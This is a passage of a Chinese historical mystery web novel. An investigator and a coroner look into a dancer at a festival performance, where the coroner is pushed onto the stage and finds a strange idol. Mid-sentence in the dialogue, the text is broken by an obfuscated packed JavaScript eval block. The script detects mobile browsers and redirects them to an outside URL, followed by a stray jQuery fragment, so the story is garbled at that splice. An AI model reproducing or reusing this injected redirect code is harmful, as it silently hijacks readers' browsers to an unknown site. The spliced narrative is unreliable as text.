方钰脱身极快,眨眼间便已捡了花笺,慢慢展开了。沈汀没听过青云队舞的名号,看见方钰严肃的神色更是丈二和尚摸不着头脑。
萧颂安敏锐地感觉气氛不对,硬是安静了下来。
“谨启:为贺龙母诞辰,特在五月小满,康乐坊瓦舍特设青云队舞,演《村田乐》《菩萨蛮》《剪牡丹》三种妙趣。恭请各看客前来一观——康乐瓦子敬邀。”
沈汀听方钰念完,摸着下巴想,不对啊,今日萧颂安全程都在她的视线内,这一封花笺到底是什么时候被他拿走的?
方钰捻着花笺……五月小满,岂不就是明日?
“这花笺哪来的?”沈汀方钰皱着眉头齐齐回头。
萧颂安还木着,反倒是另一个小吏探头探脑地钻了过来:“青云队舞这么快就要草演啦?当年孙娘子一舞《蒿里》名动端溪,坐稳了领舞的位置,不可不谓名利双收。这次《蒿里》居然不在表演名录里边么?”
一旁的小吏听不下去,一把把他拎了回来:“《蒿里》是鬼伯索命,魂魄同归,如何敢放在龙母诞演出?再者,今年青云队舞由宫里退下来的舞娘接手,据说在青云队舞原来的编排上改编了许多。至于到底怎么个改编法,只能当场看看了。”
一众人还各自默着,萧颂安兀自坐了半晌,忽然低低地念诵起来:“蒿里谁家地?聚敛魂魄无贤愚。鬼伯一何相催促?人命不得少踟蹰。”
他敲着薄薄的鱼骨,有些悲凉地想,生死无可奈何,命运无可奈何,他即将迈出的这一步,谁又敢同他许诺无虞?人情可是比事情本身还要难以捉摸。
沈汀和方钰看穿他平静面容下的难言,两人甚至都没打个商量,三言两句遣散人群,默契地一人抬了一边萧颂安的肩膀,不回寝室,不进县衙,反倒沐着小雨,跟着方钰悄悄聚在端县令私藏的酒窖里,一人一口把萧颂安灌了个饱,又顺着他的意愿,七手八脚地爬上屋檐,三个人乱七八糟吹了一晚的凉风。
萧颂安经此一夜,兴奋地开启了近三日的休沐,而被方钰灌了好几碗姜汤好好照料着的沈汀只好万分不舍地告别温暖被窝,跟着方钰梳理案件。
雨季的雨频繁却总下不长久,一轮骤雨浇过,灰沉沉的天际烧出一片秀丽的火烧云,从架阁堂出来的沈汀悄悄打了个哈欠,跟着方钰顺着人潮往江边走。
当日丁佑指出孙娘子的嫌疑后,端溪县衙立即传问孙意迎,可康乐瓦子却声称孙意迎近几日一直留在瓦子内排演,以正式演出将近为由,硬是把人扣了下来。
康乐坊人头攒动,两人恰恰行至路口,上是娱乐街道,各色瓦子连同妓院灯红酒绿开了一整条街。下是生活杂铺,相较上边的街道倒显得冷清了许多。沈汀同方钰对视一眼,干脆利落地兵分两路。
这两日她挑灯夜读,在架阁堂把所有涉案人员的底细全摸了个干净,这位孙娘子至情至性,前有为爱百步穿杨夺得头花的英勇事迹,后有带着全队女子上门揍嘴碎子的飒爽英姿。
但要说为爱杀人……
耳畔忽然炸起排山倒海的叫好声,周围所有游人在眨眼间猛地转身往旁跑去,沈汀还没摸清楚状况,便见一弘青绿彩帛从头顶窜往前去,几个呼吸之间赤、黄、白、玄四种颜色的彩帛在橙黄的火烧云之下交织而过,晚风一吹,彩帛缝着的鲜花花瓣如雨落下。
沈汀顺着人群往前挤,极有缘分地挤到了第一排,暮色渐起,台上一盏灯也无,在众人的疑声中,忽然亮起一张半人高的铜镜,古铜色的镜面缓缓映出兰花印,接着北方,东方,南方放置的铜镜皆亮了起来,乐声也更为悠扬,一朵牡丹悠悠落在舞台中央的一池浅水中,下一刻天光大亮,头戴花冠,手持青瓶的女子从辚辚波纹中逸出。
喝彩声在此刻骤然响起,悠悠灯火在风中明灭,孙意迎身着轻容纱,若秋水般的双眸反照月华,昏黄烛光镀在身畔,即便不做任何表情动作,周身的气质也恍若九天之外的神女。
孙意迎缓步而来,即将到看台边缘时,沈汀身侧的看客们忽然兴奋地往前涌,硬是把沈汀脚下的三分地给挤没了,不知是谁大叫了一声,沈汀前方全是后脑勺的视线猛然一空。
谁家好人一个趔趄恰恰能摔进台上的?反正沈汀不信这巧合!她一咬牙,在失重的那一刻反手拽住那个推她一把的人,笑话,死也得拉个垫背的。
转变来得太快,不知是谁又狠狠砸在她身上,轻容纱盖了满脸,沈汀被砸得眼冒金星,脑子在一瞬间全空了。
她只感到身上的人一跃而起,她闷痛的四肢以迅雷不及掩耳之势被对方摆了一遭,眼前的轻容纱缓缓而落,神佛在前,而沈汀捏着身下的绳索及碎布抬不起头。
眼前忽地掉落一只木牌,沈汀忍着疼,盯着着膝前的那块木牌硬是把跪姿换成了坐姿。
灯光跟着孙意迎的身影往前挪,黑夜一步步侵蚀沈汀周遭光亮,而沈汀的思绪也在随着光影变动逐渐清明。
那块木牌雕刻的神像胸前有花,右腿盘起搭在左腿之上,左腿自然下垂……
鸡皮疙瘩从手尖一路炸至头顶,她后怕地往后一看,所有光亮却在那一刻骤然熄灭,台下掌声雷动,台上忽地起了一阵妖风,沈汀畏黑还没发作,便感到有人急匆匆朝她而来,轻雨暖尘扑了满面满身,沈汀被对方带至一边。
她拍拍方钰后背,眼盯着谢幕的孙意迎轻声道:“有麻烦了。”
方钰看着幕后蜂拥而来,怒目而视的一群女人也点点头:“的确,我们有麻烦了。”
****
“我发誓,我是真的不知情!”沈汀小臂乌了好大一团,即使烛光昏暗,看得也令人触目惊心。
对面教娘,各类舞女站在一处,众星捧月般扶着崴脚了的孙意迎。
教娘睨着沈汀同方钰:“是么?你不知情但你又在《菩萨蛮》最高潮的地方从台下摔了过来,你不知情,但你又恰恰绊倒了我家最宝贵的舞妓。回去跟你的主子们说,今年青云队舞赢定了!别再我面前使些不入流的宵小手段!”
“主子?谁的主子?”沈汀还没表态,方钰的嘴倒头一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951853|172139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次比沈汀更快,他端坐着,也同样以一种上位者的威严看着教娘:“我花重金聘请的仵作在你们这里摔伤了,又无端遭了污蔑,谁才是宵小我看不清,谁强词夺理,清白不分,不配合官差办案,本官倒是清楚得很。”
方钰护短,沈汀是知道的,但方钰在外查案,对百姓惹的事端大多都是大事化小小事化了,不踩到他心口痛处绝不计较,现在拿了官架子说事,眼见是被气得狠了。
沈汀平白被人骂了一遭,心里也攒着气,跃跃欲试地一捞袖摆,有些夸张地露出小臂上大片的青紫,楚楚可怜地说:“呜呜呜伤得好严重,以后万一拿不了验尸刀怎么办?”
她正演得起劲,偏头打算朝方钰眨眨眼时,却见对方立刻转了头,眉眼间心疼满得好似要溢出来,沈汀心里咯噔一下,感觉自己这一把玩了个大的。
“柳娘,这位娘子好似真的只是不小心,况且我现在已经好很多了。”孙意迎怯生生从女孩们的包围里探出头来,补充道:“当时现场太过混乱,小娘子被挤上来也有可能。”
沈汀:“对啊对啊,所以我申请到台上再看一眼。”
眼下教娘吃了一嘴哑灰,自然是没过多阻拦,吆喝着几个舞娘跟着沈汀方钰一并重回台上。
方钰走在沈汀身侧,见她行动自如,才开始仔细查探台面,他适才拦下沈汀时,看见沈汀坐着的红布之下压着一根类似麻绳的东西,若沈汀被故意推上台,恰恰踩中了那个机关……他实在不敢想后续如何。
“好在我被推上台,摔的面积大,恰恰没触动那个机关。”沈汀乐呵呵蹲在方钰身侧,凭着记忆找了好几遍居然没找到那根奇怪绳子。
“孙娘子,这是你的罢?”
“是!真是多谢你!许是这牌子丢了,我心里没了底气,这才出了许多错。”
牌子?那个雕着邪神的木牌?!
沈汀豁然转身,把孙意迎吓了一跳,她调整了一下面部表情,笑眯眯地问:“孙娘子,我最近倒霉得很,你这护身符有用么?要是有用,赶明儿我也去求一个。”
沈汀的笑容太过“和善”,几个教坊姐妹见了,以为沈汀来找事,立刻推着孙意迎走远了。沈汀就这样端着这副笑脸原封不动地转回来看着方钰:“我这表情难道不友善吗?”
方钰一路从沈汀摔倒的地方查至边缘,在木桩底部看见了一些新鲜的伤痕及稀碎的麻绳碎。他记下位置,过来时朝沈汀笑笑,左手本欲往沈汀头顶中去,却又急转直下将沈汀扶起来:“很可爱。”
“我们走吧。”方钰最后看了一眼台面,连个招呼都没打,径直带着沈汀走出康乐瓦子。
走得不快,沈汀还有空闲撑着方钰的手臂回头看了看康乐瓦子,有些沮丧:“今早刚刚答应丁佑三天内结案,结果今日倒因为我废了许多时间,不仅没跟孙意迎说上话,反倒让她们先对我们有了几分排斥。抱歉啊。”
方钰走在她前面,看不清表情,只听见他长长地叹口气,回身蹲下来,隔着鞋按了按沈汀的脚踝:“疼吗?”